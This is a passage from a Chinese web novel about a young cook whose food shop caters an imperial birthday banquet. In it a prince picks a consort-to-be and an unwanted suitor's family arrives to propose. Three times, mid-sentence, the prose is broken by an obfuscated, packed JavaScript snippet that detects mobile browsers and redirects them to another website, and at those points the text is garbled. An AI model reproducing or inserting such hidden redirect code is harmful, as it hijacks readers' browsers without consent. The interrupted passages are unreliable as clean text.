“亏你想得出来。”小梅拿手点着她的额头,“真拿你没办法,这里有现成的乳酪糕,方才你去得太久,张婶儿早就做好了,还热着呢,咱们给送过去?” 二人说干就干,除了带着乳酪糕,梅映禾还带了芝麻酥和南瓜籽糖,外加一壶奶酥茶,以迅雷不及掩耳之势直奔后殿而去。 吃瓜冲在第一线,此等为人的乐趣岂能浪费。 两位小娘子来去一阵风,惊得阿十呆若木鸡,“这么好看吗,咱们要不要……” “不要。”周大厨严厉道,“赶紧收拾灶房和院子,码放整齐,打扫干净。” 他是这一行的老人,做活又快又好干净利索,这是从小学的童子功,饭菜齐备灶台恢复原样,最看不得到处乱七八糟。 后殿内,皇后端坐在上,身后一道十二扇锦绣山河金丝楠木屏风拔地而起,富贵壮观又不失风雅意趣。 这屏风是当年赐府别居时,当今圣上也就是当时太子殿下赵怀风送的。 皇后看着这屏风,感慨万千,“多少年了,没想到云策还在用这大家伙,还真是个念旧重感情的人。” 这是在给赵行之加码,众贵女们纷纷应和。 婢女过来禀报梅映禾和小梅来送点心,皇后娘娘很是欣喜,“这位好吃食铺的店主还真是个贴心又细致的小娘子,方才那生日蛋糕就极好,可惜都进了陛下的肚子,这倒正好,本宫也想见识见识,快让她们进来吧。” 于是乎,梅映禾和小梅便名正言顺地伺候着各位娘娘和贵女们吃点心喝茶,动作细致、缓慢又优雅,竟还额外得了皇后的赞誉和赏赐。 梅映禾心花怒放,这是要带着奖金观看大型相亲现场啊,真幸福。 小太监过来禀报:“晋王殿下即刻就到。” 梅映禾有点激动,看着一殿的漂亮小娘子心中雀跃,不知道七哥有没有中意的呢,是那位身材丰腴、面若桃李的小娘子呢,还是那位一身绯色襦裙、顾盼神飞的颇似古画中美人的小娘子......哎呀,若她是七哥也要挑花眼了,实在太难选了。 咦,有个面熟的小娘子,正是那位在夜市上有过一面之缘的五娘子,想来方才棂花格纹墙后讲话的也是她,那......梅映禾想起方才听到这位五娘子说起过一位??郡主,不知道是哪一位。 就在这时,就听座席中传来“哎呀”一声惊呼,正是那位绯色襦裙相貌格外出众的小娘子倏然站起身,她漂亮的襦裙沾染了乳茶的茶汤,一大片污渍弄脏了衣裙。整个人顿时紧张起来,肉眼可见的眼中含泪,面色通红。 “梁诗云,你这是作甚。”绯色小娘子急道,“干吗弄脏我的衣裙。” “宁馨郡主你这是说的什么话,我是无意的,谁在我脚下扔了一块滑滑的东西,这才脚底不稳。”梁诗云的脸憋得通红。 梅映禾看过去,哦,这位被称为梁诗云的便是先前的那位五娘子,而那位古典美人就是宁馨郡主,也就是说这是今日场上的两大情敌。 再看地上,果然地上有一块红彤彤的羊油,还有一块羊肉。这不是前院断是不可能出现宴席上的菜点,又有宫人格外精细地打扫过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304759|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会有这样明显的疏漏,除非,是有人故意扔在那里的。 “你的意思是有人故意陷害你,然后再一石二鸟带上我咯。”宁馨郡主的脾气和那位被称为五娘子的梁诗云截然不同,是她的衣裳被弄脏了,却反而显得沉稳大气,思维清晰、条理清楚,“那你觉得会是谁呢。” 问题又被抛回来了,梁诗云哑口。她哪里知道是谁,反正不是她。 梅映禾看着这位宁馨郡主,她是受害者,可是她却显得不骄不躁,一看就是受到过良好家教的,反观五娘子,却急得跳脚,“我不知道,反正这事跟我没关系,你也别想赖上我。” 二人针锋相对,场面一时变得很尴尬。还是宁馨郡主率先打破僵局,对着皇后娘娘拜下:“娘娘恕罪,臣女脏了衣裙,恐无颜再见晋王殿下,臣女自请先行告退。” 梅映禾摇头,附在小梅耳边低声道:“没想到七哥这么抢手,小娘子们为了他使了这么多心机。” 小梅却直摇头,“我瞧着,还是我们九哥更好。” “......”梅映禾噎了一下,脑子里浮现哥哥笑嘻嘻的面庞,“倒也是,你说怎么会有人喜欢整天摆着一张臭脸的人呢。” 小梅点头,“不理解,看着心烦。” “就是。”梅映禾托腮,“脾气也不好......” 小梅又摇头,“还是我的九哥好。” 梅映禾:...... 好好好,你的九哥天下第一好。 最后还是皇后娘娘有备而来,送了宁馨郡主一套华贵的崭新衣裙,宁馨郡主穿上之后简直惊为天人,气得梁诗云直跺脚,“谁知道是不是她自己故意的,怎么就偏巧有这么一套漂亮的衣裙等着她……” 可是此事被皇后娘娘轻轻揭过,她就是再气也只好忍着。 这时小太监来报:“晋王殿下驾到。” 梅映禾和小梅赶紧退到了殿外,隔着敞开的窗,里头的动静尽收眼底。 赵行之还是那副冷脸,眉目更加锋利,好似谁惹了他不快似的,向皇后娘娘行了礼脚步匆匆去了屏风后头。 就在众位贵女还在拘着礼娇羞地不敢抬头看他的时候,晋王殿下已经不见了人影,他甚至都没有正眼瞧她们一眼。 按照惯例,王爷看中的女子会赠予之物一件,该女子便是晋王殿下未来的王妃。二人相处半年后,无大的过失,便可成婚,成为晋王府真正的女主人。 大家还在失落殿下动作太快的时候,屏风后头的小太监已走出来,手里的托盘上放了一件东西呈送给皇后娘娘过目。 梅映禾认得,那是七哥随身带着的玉佩,她见过。 “果然是这枚玉佩。”皇后笑着点点头,“这是先皇所赐,是王爷最珍爱之物,看来今日王爷也是十分慎重且有诚意的。” 这席话说得屏风后头的赵行之很是无奈,他的随身之物除了那柄短刀就是这枚玉佩了,总不能送给小娘子刀吧,他舍不得。 屏风后的人实在懊丧,此刻,肠子都悔青了。 听闻此言的贵女们却很欣喜,不知道殿下选的是谁呢。虽然大家都是来参选的,多少也抱了一丝丝希望,可是每个人都心知肚明,最大的竞争者非梁诗云和宁馨郡主不可。 小太监得了皇后的首肯,双手捧着托盘走向下面的一众小娘子中,越过一个一个,被掠过的人脸上无不流露出失望、遗憾的神情,最后,小太监的脚步停留在了梁诗云身边: “梁府五娘子梁诗云,端庄秀丽,乃殿下亲选王妃人选,请梁娘子收下殿下的一片心意。” 梁诗云简直受宠若惊,从小梦寐以求的愿望今日终于实现了,赶紧起身向皇后和屏风后的赵行之行礼,“臣女谢过皇后娘娘,谢晋王殿下。”接过玉佩紧紧握在手心里,在一众嫉妒、艳羡的眼神中坐了回去,脸上的潮红却久久未能褪去,还不忘得意地瞥了一眼宁馨郡主。 再看宁馨郡主,到底是有着良好教养的,从面上丝毫看不出任何失落和沮丧,仍旧笑眯眯的面庞,清澈的眼神,稳稳当当。 这件事赵行之想得简单,梁府五娘子梁诗云和他自小就相识,一起玩闹长大,想来她也不会对他有其他的想法,今日的事怪自己,上头了,实在唐突。可是赵行之当真是不愿选妃,更不愿意耽搁人家小娘子,但皇命难违,所以他想出这个主意,要选就选一个自己最熟悉的发小,将来退亲也方便些。 殊不知,这事,他又想错了。 34. 档次上去了 “ 万寿宴才刚结束,宾客们陆续离去,晋王殿下选妃的事就已经传遍了大街小巷。 大约半年后就又能看到皇家娶亲的盛况了吧,大家议论纷纷,那样的庞大、奢华的场面最是百姓们津津乐道的话题,更重要的事,每逢这样的喜庆日子陛下总会放些恩典于民间,大家都期盼着晋王的婚礼。 每个人脸上带着笑,晋王府门前一辆一辆的豪华马车离去,这场宴席非常圆满。 然,赵行之脸上的阴郁却更甚了,这种弄巧成拙的感觉真是让人想起来就想掐死自己。 “云策哥哥。”梁诗云羞红了一张小脸站在他身后,见他转了脸看她,盈盈一礼,“奶母说按照礼俗,我们还应当商讨一下具体相处的事宜,不知......” “本王今日没空,你先回去吧。”赵行之冷冷地打断了她的话,收回眼神,拉着一张脸直奔后院去了。 被晾在府门口的梁诗云有些没反应过来,呆愣愣的不知如何是好,还是管家赔着笑张罗着,“五娘子请先回府,王爷这边遇到些紧急的军情需要处理。” 梁诗云这才如释重负,笑道:“多谢阿叔,那我便先回了。” 望着小娘子登车离去,管家无奈地摇了摇头,恐怕王爷日后有的烦了。 晋王府的侧门,梅映禾几人的物什也都收拾得差不多了,五个人正在忙碌地搬运装车,佑安还特意带了几个人过来一起帮忙,梅映禾将剩下还未动过的点心都给了他。 佑安笑嘻嘻谢道:“小娘子做的点心全京城最好吃。” 呵,这才几个月,佑安肉眼可见的会说话了。 二人正说笑,一转头看到了阴着一张脸走过来的赵行之。因得还有许多宫里头的太监和宫女在,梅映禾端着规矩,恭恭敬敬地朝赵行之行礼,“王爷。” 一抬头,在只有他能看到的那一瞬露出一张狡黠的脸,还眨了眨长睫,笑得十分促狭。 赵行之自然知道她在调侃选妃的事,只作未曾看见,看了一眼佑安怀里的点心,“放书房。” 说完又叮嘱了好生送梅映禾她们离去的话,最后还是看了小娘子一眼,咽下话头大步离去。 只留佑安抱着还没焐热的点心在风中凌乱,“这点心不是给王爷的......” 万寿宴落下帷幕,可好吃食铺的辉煌才刚刚开启。 秋日细雨飘飘洒洒,不大却密,连绵不断好似没个尽头。 这样的天气里,街上人少得很。各家店铺、酒肆、商贩能歇的都歇了,没歇的也是门可罗雀,小跑堂肩膀上搭着白巾子,趴在铺面门口一下一下地打盹儿。 天气越发冷了,眼看就要入冬了。 整条街面的萧瑟越发衬托出好吃食铺的热闹,纵是这样的天气里,门口也排了长队。 梅映禾在房檐下搭起了大大的黑色遮雨棚,还摆了木桌椅,上头放了免费自取的茶水并一些零食点心。 距离万寿宴也已经过去一个月了,梅映禾的忙碌却始终没有停下。 要不怎么说还得是名人效应呢,更何况是这大隶朝最有名气的名人——皇帝陛下。 这带来的一波流量简直无可限量且如这秋末冬初的细雨一般,连绵不绝。 好吃食铺为陛下办了万寿宴,还得到了丰厚的赏赐,坊间传闻,光是店主人小娘子赏赐给店里厨子、跑堂、大婶儿们的银子都足够他们一整年的收入,更遑论这梅小娘子自己了,据说,是足以买下整条街面的厚赏。 此时,梅映禾正在店里头招呼食客们,虽还未到午食的时辰,可客人想吃咱就做。 听闻这样的传言,梅映禾笑说:“若真是这样,我还这样辛苦劳作岂不是傻子,何不卷着银子游山玩水去,一辈子逍遥快活。” 却有人不赞同这种说法,“小娘子一看就是心怀抱负之人,岂能是区区银子能够收买的。” 哦,这是在夸她有理想有情怀。 梅映禾很是受用,回赠道:“能说出这样话的先生,才是真正的高人。” 轻松将话题略过,也把人家的夸赞送了回去,宾主尽欢,甚好,甚好。 至于这次万寿宴梅映禾究竟赚了多少,这样说吧,现在的梅映禾一心想要做更大的店铺,想开酒楼,并且不是租赁而是自己购置铺产,最好是三层带院子后头还有供店员居住的旺铺,要的就是一步到位。 以梅映禾节俭的作风,这还是比较保守的配置,因为还想留着些银子,哥哥该娶亲了,她也不能总住在许府,虽说是义父可毕竟不是自己的产业,这大概是来自后世的执念吧,她想拥有属于自己的房子,将来也算是她跟哥哥嫂嫂的家。 想到哥哥嫂嫂,梅映禾抬头看了一眼正坐在高柜后头算账的小梅姐。 经过这几个月的历练,如今的小梅已经成为一名合格的账房了。不但账算得又快又好,还能恰到好处地为店里省银子,开支上每月已经固定了下来,这让梅映禾轻松许多,再不用分心去管钱管账目,只要专心提升技术开发菜品,将口碑做好,然后就是发发呆看看人,日子惬意得很。 外头雨势越发大了起来,天气冷了,正是吃火锅的好时节。大隶朝人喜欢吃火锅,只是吃的比较单一,锅底单一、涮菜单一,调料更单一。这梅映禾自然看不过去,没有番茄锅底,没有菌子锅底,没有秘制酱料炒制而成的麻辣鲜香锅底,没有八十八种以上的调味料,没有各种肉和肉丸、宽粉......这算什么火锅。 由此,好吃食铺的火锅不仅丰盛得独树一帜,而且意外地好吃。 这样骤冷的天气里,屋内热气氤氲,大家围坐在一起聊天吃火锅,还有什么比这更让人愉快的呢。 铺子里又进来一拨人,都是这一个月以来的“熟客”。 “王大人来了,里边坐。”小梅忙起身热情地招呼,“李大人,陆大人,包房开好了,锅子这就上。” 自从万寿宴之后,普通老百姓也能吃到皇帝陛下过生日吃的菜肴,那是何等的有吸引力。是以,好吃食铺这一个月几乎日日都有来过生辰的客人。除此之外便是下了朝会的大人们,皇帝陛下都喜欢的食铺自然也是大臣们的“最爱”。 现在俨然成了习惯,每日的这个时辰,赶上散朝会,都能在好吃食铺看到一群穿着朝服撸起袖子吃饭的高官们。 “日日来吃,一点就是一桌子菜,还都是最贵的菜。”后厨里,阿十直纳闷,“也不知道他们俸禄几何,每月够不够花。” 阿十现在也开始攒银子了,说起话来也有底气了,竟操上了别人的心。 周大厨嗤了一声,“他们啊,有的是银子。” 阿十张着大嘴,“做官俸禄这么高吗,难怪人人都想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341102|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做官。” 周大厨摇了摇头没再说什么,只道:“好好干你的活,学好手艺将来靠着自己的双手吃饭,那才叫理直气壮。” “就像东家阿姐一样?”阿十问。 周大厨说:“对,就像东家一样。” “夸我呐,那得当面夸呀,哪有背着人夸的。”梅映禾打外头走进来,撸起袖子开始干活,“怎么夸的,再说一边叫我高兴高兴。” 周大厨:...... 阿十端着菜盘子赶紧撤,东家阿姐什么都好就是总缠着人夸她,他都说得没词了。 张婶儿看着她卷袖子,问:“这是又有人要蛋糕?” 梅映禾点头,“三个。” 这个月已经卖了十多个蛋糕了,来者都点:“陛下吃的那个糕点,要一模一样的。” 张婶儿忙洗了手过来,“你去外头张罗吧,来了那么多贵人,小梅忙不过来别怠慢了,我来做,这会儿该洗刷的都弄好了。” 如今,张婶儿不仅能做蛋糕坯子,整个蛋糕都做得跟梅映禾相差无二了。 梅映禾看了一眼收拾得干净整洁的厨房,笑道:“我这是请了一个人干了两分活儿,这个月给张婶儿加月银,不能叫你白干。” 张婶儿想推辞,梅映禾道:“您若是不拿我都不好意思使唤您,这还担心人手不够呢。” 东家真是难得一见的好东家,慷慨且体恤每个人的不易,为人又和善,周大厨忙说:“我家老婆也能干点打扫和面店的活儿,东家若是不嫌弃,可以让她来跟张婶儿搭把手,月银就不要了,我的已经足够多了。” 那自然好,熟人知根知底,梅映禾当即答应,周嫂子次日就来,月银自然也是不能少的。 好吃食铺在日益壮大了,梅映禾很开心,这几日还在准备一件事情。 自打万寿宴过后,听说七哥就接到紧急任务带着部队出去了,干什么不知道,梅映禾打听过,佑安说:“小娘子放心,就是演习。” 因为梅九筹也去了,说不担心是假的。 担心的不止梅映禾一个人,小梅更是数着手指头过日子,夜夜难眠拉着梅映禾说话。 忙过午食,铺子里总算清闲了片刻,只有几桌还未吃完的客人,小梅的账早就算完了,这会儿一个人坐在前头看着细雨发呆。 梅映禾瞧了她一眼,知道她又在想哥哥了,亲自磨了豆浆放了些糖端给她,“女子多吃豆制品对皮肤好,将来成亲水灵灵白嫩嫩的。” 小梅自打跟她一起做,整个人肉眼可见的白嫩了许多。 小梅笑道:“好,那我日日都要喝这个。” 梅映禾就喜欢小梅的性格,坦坦荡荡地喜欢,大大方方地承认,不扭捏不矫情。 二人说笑着,外头的雨仍旧下得细密,街上又恢复了先前的冷清。 隆隆的声音传来,望过去,只见远处路尽头驶过来几辆马车,看样子像是高门大户的车子。走近了才看到,足足八辆车。 “好家伙,真气派。”小梅调侃,“不知是谁家郎君、千金出门,这么大阵仗。” 本以为车子会从铺子门口过去,谁知却停了下来,将街道都占满了。 “小早,我来看你了。” 熟悉的声音,花哨的衣衫,梅映禾就觉得头皮一紧,这大扑棱蛾子怎么又来了。 35. 鲜虾蟹籽大水饺 “ 一群人陆续从车上下来,浩浩荡荡的,在这样的天气里格外扎眼。 果然,物以类聚人以群分。梅映禾还没分清他们的面貌,就已经被眼前花花绿绿的一片丝绸锦衣晃了眼。 “用夫果然没有说错,这小娘子的确样貌出众,只是装扮上稍显逊色......” 小梅一把将梅映禾拉到身后,高声斥道:“青天白日的你们想干什么。” 那人看二人如此紧张,好似更来了精神,“我等是用夫的朋友,来此......”他抬头看了一眼牌匾,用手指点着笑道,“好吃食铺,用午食。” “诸位郎君,已过了时辰,小店打烊了,下回请早吧。”周大厨在后头听到了小梅的声音,手里还拎着菜刀就急匆匆赶了出来,身后跟着同样拿菜刀的阿十和拿抹刀的张婶儿。 “这不是还有人在里头吃饭吗。” “小娘子还没说话,你们哪里跑出来的。” “怎么还拿家伙事儿,这是要打杀食客不成。” “不用理她,咱们是来给小娘子送银子的,进去,小娘子给上锅子吧。” 一群人目中无人地直直闯进店里,周大厨还欲阻拦被梅映禾制止,“来者都是客,大白天的,怕他作甚。” 说得也是,几人抄着家伙愤愤去厨房,阿十抢上前去给他们点单,小梅将梅映禾也赶去了后厨,“这里交给我。” 十五六个人刚好占满了两个大圆桌,都点了火锅且将所有的涮菜都要了个遍,那一直没开口说话的薛展还要点菜,若是换作平时小梅会劝着点儿,告诉客人不够再点,可今日她非但没劝阻反而一直在推荐最贵的菜,“这个好,郎君一看就是富贵窝里出来的,懂得美食。这个难得啊,可是陛下亲口品评味道极佳的。这个是咱们小店的特色菜。这个是咱们东家亲自掌勺......” 十五六个人足足点了四桌人吃的菜量,梅映禾哭笑不得,“这也太浪费了。” 小梅道,“放心吧,浪费不了,吃不完我都让他带走。” 梅映禾被按在灶房里,活儿都让周大厨抢了去,左右也闲不住不如做点儿吃的。这几日不知怎么了,或许是冬日天气变冷的缘故,越发想念起饺子来了。 梅映禾作为顶级大厨见过、吃过的东西不知凡几,唯独偏爱最朴素最简单的食物,比如:饺子。上一世她最爱的口味是韭菜鸡蛋的和鲜虾蟹籽馅的,算了算,好久没吃过了,于是便忙活着准备起来。 这个季节韭菜吃不到了,灶房里还有送来的新鲜的鲜虾和蟹籽,这可是好东西,梅映禾打算亲自下厨包水饺,作为五个人晚上的晚食。 外头的应对就交给小梅,阿十进进出出端茶送酒,顺便帮她递消息: “没闹事,今日倒是乖觉得很。” 梅映禾苦笑,如今好吃食铺的人只要看见这位大扑棱蛾子个个严阵以待,汗毛都竖起来随时准备干仗的架子。 “那位,就那位,今日好像变得文静了许多,都不怎么说话。”这是阿十送进来的最新的消息。 “他们还要酒,小梅姐说不能白来一趟,要捡最好的酒送。” “东家阿姐,他们喝多了。不过你放心,没闹事,都被小梅姐收拾得老老实实了。” 梅映禾点头了然,小梅的酒量,等闲男子三五个加在一起都是喝不过她的,从前倒是没发现,自打干了这食铺才晓得,原来这是遗传,据说奎叔酒和李婶儿都特别能喝。 这是实打实的天赋,梅映禾只有望梅兴叹的份儿了。 直到外头马车里各家的仆从进来,将花红柳绿的郎君们搀扶着上车,梅映禾才从后厨走出来。 这样一场声势浩大的……相看,算是一败涂地了。梅映禾想,不知道这位大扑棱蛾子酒醒了能不能消停几日,细算起来,这位薛郎君好像回回得不着便宜还要丢脸,可是这个人好像并不怎么在乎脸面,反倒越挫越勇,新花样层出不穷。 看着郎君们都上了车,面颊一侧飘来浓重的酒气,梅映禾一回头刚好看到大扑棱蛾子通红的一张脸,“早儿,今儿这酒……是真的好。” 薛展彻底喝大了,舌头都捋不直了,“我兄弟都……说……好。” 不知道是说酒菜好还是说人好,梅映禾也懒得理他,敷衍道:“小心脚下,慢走不送。” 薛展被强行塞进车里,扒拉着车窗露出一颗通红的脑袋,冲着梅映禾喊:“提……提……” 马车走远了,后头的话也没听到,反正也不重要,梅映禾这才松了一口气转身回了铺子里。 小梅从柜台后头走出来,晃了晃手里的账本,“虽说人不招人喜欢,可出手倒是大方。这两桌刚好是咱们一整日的收入了。” 啊……梅映禾瞠目结舌,即便是她看着点菜上菜,这样的价格也着实令人吃惊。 “你放心,我没坑他,等他们酒醒了过来找咱们也是有单据的,只不过酒水贵了些罢了。”小梅将单子递给梅映禾,好吃食铺平日点菜不记单子,这也是怕他们嫌贵找后账才留了个底单,小梅如今算是经验丰富了。 梅映禾仔细看了一遍,果然,贵的都是酒。 这些酒都是从酿酒坊买来的,大隶朝不允许私自酿酒,即便是食铺、脚店也没有酿酒权,都要从有酿酒权的酒坊、酒楼去买,碰上好酒价格自然奇贵,就这样的价格,能买到算是幸运的。 梅映禾沉思半晌,倒不是因为薛展的花费,而是这酒…… “东家,陷儿调好了。”张婶儿的话打断了梅映禾的思绪,赶紧往灶房跑,今晚上又有好吃的了。 张婶儿帮忙调馅,梅映禾还特意加了一些小白菜,口感更加丰富。 下午店里并不忙,今日的雨又淅淅沥沥一直下个没完,几个人索性闲下来,梅映禾和张婶儿、小梅一起一边看雨一边包饺子聊天。 说起张婶儿的家人,大概是时过境迁了,妇人口中没有了悲切,倒是很坦然,“老家先是水灾之后是蝗灾,然后就闹起了疫病,一重接一重的袭来,谁能顶得住,公婆爹娘都没了,家里的顶梁柱硬生生累死了,孩子们也都染病,没医没药的,就都走了。唯独剩下我一个人,当时也染了病,却不知怎么竟没死,大概是老天爷收够了人吧,和我一起染病的几个姐妹倒是都活了下来。” “一个人在这世上孤苦伶仃的,也想过死,可是终究是被劝住了,这条命是一家人换来的,该好好活下去,替他们看看这河山,于是就徒步从老家来了京城。” 这样的时代这样的情况不是个例,梅映禾心里难受,安慰道:“能在一起就是缘分,这就是您的家,咱们都是您的家人。” 在后世,这大概是一句老板pua员工的场面话,可在这里却是实打实的真心话,张婶儿含着眼泪点头,“多亏遇到了东家,小娘子是个好人。” 每一个大饺子里头都有一整颗大虾仁,然后是满满的蟹籽再点缀些白菜碎,看着都好吃。 “也就是东家小娘子舍得。”张婶儿笑道,“这样吃真是见都不曾见过。” “您若是喜欢,往后咱们常做。”梅映禾说,“天下大事吃饭第一,只要能吃好饭,没什么过不去的坎儿。” 小梅笑着点头,张婶儿也笑。 灶房又传来炒菜的声音,三人看过去,“周大厨也不歇歇,晚上还有的忙呢。” 张婶儿说:“他这些日子上劲得很,整日琢磨菜谱研究菜单,技术越发好了。他说啊,自己好像又回到了当学徒的那几年,总有学不完的东西,不想歇也不觉得累,满心就想琢磨菜,带着阿十也跟在后头忙得不可开交。” 真好,梅映禾笑笑,周大厨的厨艺肉眼可见地提升,这是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346563|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看得到的。每个人都能找到自己喜欢做的擅长做的事,是何等幸运啊。 日子就这样一日一日慢慢地过,多好啊。 可是,生活总是不能尽如人意的。 自打薛展带着一群朋友来过之后,大约是消停了四五日,那群人又来了,只是这回没了本尊。 只看到马车上下来一群花花绿绿的小郎君,梅映禾就觉得头大。 依旧是小梅应对,那些人也不说什么,就是来吃饭的,照旧坐下点一大桌子菜,只是要的酒少了许多。 他们拿眼打量着梅映禾,直瞧得她浑身不自在。 小梅看不过去,咬着牙挤出笑问:“各位郎君这样直勾勾地瞧人,怕是不太好吧。” 有人即刻蹦出来叫嚣,却被同伴按了下去,解释道:“是我们唐突了,怪只怪东家小娘子实在太好看了。” 虽是夸人却让梅映禾觉得膈应得很。 谁知那人倒是不见外,主动解释,“用夫今日没能前来,是因在忙一桩大事,我等作为朋友就替他来看望小娘子,助小娘子的生意红红火火。” 这倒不必,梅映禾想,你们一来一大群人占了最大的桌面,喝起来没完没了,却没了上次那样可观的收入,反倒影响了她的翻台率。 “我谢谢您。”梅映禾潦草地笑了一下,转身去了灶房。 那些人也不见怪,点菜、喝酒、吃饭,不亦乐乎。 阿十就开发愁,“他们若是常来可怎么办。” 看,连小跑堂都觉得烦人了。 小梅说不打紧,“若是他们打定主意长期骚扰,那我们便有应对的法子,大不了专门给他们做一册菜单子,全选最贵最好的菜可劲儿上,咱们开店做生意不能撵客人,那便只能让他们知难而退了。” 周大厨一边炒菜一边道:“这好,我最近新练的几道菜都是名贵的食材,刚好拿他们试试菜。” 倒也不失为一个法子,梅映禾自我安慰,赚了银子还不算亏得太多,可听到外头传来的高谈阔论的不着调的话,实在令人头疼。 然,这还不是最让人伤脑筋的。 对于梅映禾来讲,大不了不见便是,可是接下来的一拨又一拨的客人却让点着名字要见她。 相较于那些还算守礼的小郎君们,这些隔三岔五就来“看看”的小娘子们真真是让人想发火。 有官宦人家的小娘子,也有秦楼楚馆的名妓,还有不知从哪里来的口口声声非薛郎不嫁的女子……都是爱慕薛郎君的小娘子们。 小梅惊讶,“这些小娘子们是有多不开眼啊,那样的人都要嫁。” 周大厨笑道,“你们这样的小娘子是不会懂得,那薛郎君不管怎么说也是家世显赫的,父亲高官,嫁过去便是荣华富贵,郎君上不得台面又如何,生了儿子坐稳了主母的位子,一辈子不愁咯。” 所以呢,这是情敌打上门来了吗,梅映禾觉得头皮发麻,真是天降横祸,这跟她又有什么关系。 再看那一双双恨不能拿刀剜她肉的眼神,梅映禾索性在许府躲上几日吧。眼不见心不烦,也能趁机给义父做点儿好吃的。 许大人是个开明又可爱的父亲,对于她的事情从不多问,只道:“需要义父出面的小早尽管开口。” 梅映禾说:“那倒不必,都是小孩子打打闹闹,折腾几日觉得无聊自然就不会再来了。” 倒是奇怪,这些狐朋狗友也好,那些爱慕薛郎君的小娘子们也罢,隔三岔五地过来就是不见薛展本人露面。 在忙什么呢,梅映禾心里总觉得不踏实,若是当着本尊的面她也好把话讲清楚,可是这样躲着不见人算怎么回事。 这样想了一下,第二日薛展便亲自登门了,这回不是去好吃食铺而是登了许府的门,还带了双亲。 梅映禾:“不会是……” 36. 汽锅鸡 冬日的阳光照在院子里,明晃晃金灿灿的,将细微的美放到了极致。满院子的菊开得浓烈热情,一簇簇一团团,看着都觉得热闹。 即便阳光再好也挡不住冬日的脚步,寒冷是在空气里的,吸进鼻子里都凉凉的。 难得父女两个都得闲,梅映禾正陪着许且给花草修剪枝叶,松土浇水。 灶房的厨子过来问老大人中午想吃什么,许且不说话只抬头看着梅映禾。 梅映禾笑道:“今日赵大厨就歇着吧,家里可还有壮鸡?” 所谓的壮鸡是特意预定的,便是不论公母都要将鸡骟了,然后鸡生再无可恋每日只知吃喝,便能长得格外肥胖壮硕。 赵大厨笑说:“大人爱吃汽锅鸡,家里时常都有壮鸡。” 梅映禾拍拍手,“那今日我来做汽锅鸡给义父尝尝可好?” 许且挑眉,“主食吃什么?” 自然应当配米饭,可是他既然如此问了那便也得有点儿新花样,梅映禾道:“那必得是拿手的过桥米线,义父觉得如何。” 上个月梅映禾给许且做过一次过桥米线,吃得老大人回味了好几日,后来义女忙着万寿宴的事便再没吃到,今日算是解馋了,许且笑得像个孩子。 梅映禾起身准备跟着赵大厨去灶房瞧瞧,还缺什么食材得命人去采买,这时门房来禀报:“薛大人一家来拜访大人。” “一家人都来了?”梅映禾有些吃惊。 门房说:“是,薛大人递了名帖,携夫人和郎君一同登门。” “说了什么没有。” 门房说没有,“但似乎带了许多礼物,后头跟着抬箱子的人。” 头皮一阵发麻,梅映禾简直欲哭无泪,心里头升起一丝不祥的预感。 上一次薛展喝多了含糊地说了“提”,后头的字她没听清楚,可是后来几日那些来瞧她的小郎君、小娘子们多少吐露了些,说是薛展要提亲。 当时梅映禾只当是个笑话,如今这阵仗,他不会是来真的吧。 梅映禾有些理解为何薛展会被养成这样的人了,父母实在太娇纵他了。 “小早说过,天下大事吃饭第一,你只管去灶房忙你的,这里交给我。”许且也起身,拍了拍身上的土,吩咐:“将人带去前厅。” “义父不换身衣裳再见客吗?”梅映禾提醒。 许且冷哼一声,“有必要吗?” 梅映禾:…… 突然有一种有了靠山的感觉。 前厅内,薛家三口端坐。 薛谦一脸严肃,眉头微微蹙着,一副苦大仇深的表情看不出半分喜庆,偶有流露出羞愧和尴尬。倒是一旁的薛夫人,面色平静,眉宇间带着温和平静的气质,眼唇弯弯似笑非笑。 在她身后站着的薛展今日破天荒地没有穿成花蝴蝶,一身素白色的锦衣倒也人模人样的。 “许大人,实在是唐突,今日登门是特意来道歉的。”薛谦起身,郑重地行了个礼,“犬子顽劣多次骚扰令千金,给梅小娘子带来不便,是我们教养不当,还请大人当罚则罚,当骂则骂,只别跟小孩子计较才好。” 许且是朝中老人,又得陛下看中,现在虽不及薛谦职位高,在朝中的位置却是不言而喻的,更何况他为人正直颇得人尊敬,学生也已遍及朝堂,薛谦对这位老大人是十分钦佩和恭敬。 “薛大人言重了,小女是个豁达的性子,身正不怕影子斜,并未受到什么影响。”许且挑眉看了一眼院子里大大小小的箱子,问:“薛大人此来只为道歉?” 薛谦被一眼看透,颇有些不好意思道:“犬子……不瞒许大人,犬子相中了大人的义女,虽说他往日顽劣不堪,这回却是认真的,愿意为小娘子改变,只求小娘子和许大人给个机会。” 